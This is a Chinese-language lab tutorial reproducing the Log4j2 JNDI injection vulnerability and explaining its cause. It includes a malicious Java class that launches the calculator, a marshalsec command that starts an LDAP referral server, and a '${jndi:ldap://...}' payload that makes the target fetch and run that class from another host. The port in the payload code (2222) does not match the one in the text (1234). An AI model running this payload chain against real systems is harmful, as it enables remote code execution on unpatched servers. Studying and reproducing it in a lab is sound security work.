Log4j2 反序列化漏洞原理和恢复-2 恢复过程
2.1 环境搭建
靶机:127.0.0.1
LDAP服务器:192.168.101.133
HTTP服务器:192.168.101.128
Java
JDK1.8u121以下的版本,Maven(需要安装和配置),log4j项目包
服务器
HTTP服务器(存放恶意类Exploit.class),使用phpstudy建立一个网站,端口为2222
LDAP服务器,下载marshalsec-0.0.3-SNAPSHOT-all.jar
Exploit.class
/*
* Exploit.java
* 将其编译后生成Exploit.class
* 上传到HTTP服务器
*/
import java.io.IOException;
public class Exploit {
static {
try {
// 打开windows电脑的计算器 proof of content
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
2.2 测试
LDAP服务器中,执行如下代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.101.128:2222/#Exploit 1234
其中Exploit
是恶意类的类名,1234
是监听的端口号,该工具可以启动JNDI或RMI接口。
当命令行显示Listening on 0.0.0.0:1234
时表示服务开启成功。
Log4J.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4J {
private static final Logger logger = LogManager.getLogger(Log4J.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://192.168.101.133:2222/test}");
}
}
其中主要是靠如下语句:
${jndi:ldap://192.168.101.133:1234/test}
执行成功后,可以弹出计算器,LDAP服务器的命令行窗口会显示Send LDAP reference result for test redirecting to http://192.168.101.128:2222/Exploit.class
!!!
凡是Java应用程序,在获取用户输入时使用了Log4j组件且未作有效验证或限制的,都可能有该漏洞,在输入位置传入如上语句即可。
2.3 过程分析
Log4J Lookups介绍:https://logging.apache.org/log4j/2.x/manual/lookups
被攻击服务器收到恶意参数(语句)后,通过Log4J将其作为日志打印。
由于日志在打印时当遇到${
后,Interpolator类以:
号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过prefix去找对应的 lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行。
而在LDAP服务器上找不到,于是跳转到指定地址下载恶意类到本地,再调用Java的NamingManager.getObjectFactoryFromReference()
方法,通过默认构造函数将其实例化,进而导致攻击代码中的静态代码块中的内容被执行,引发命令执行漏洞。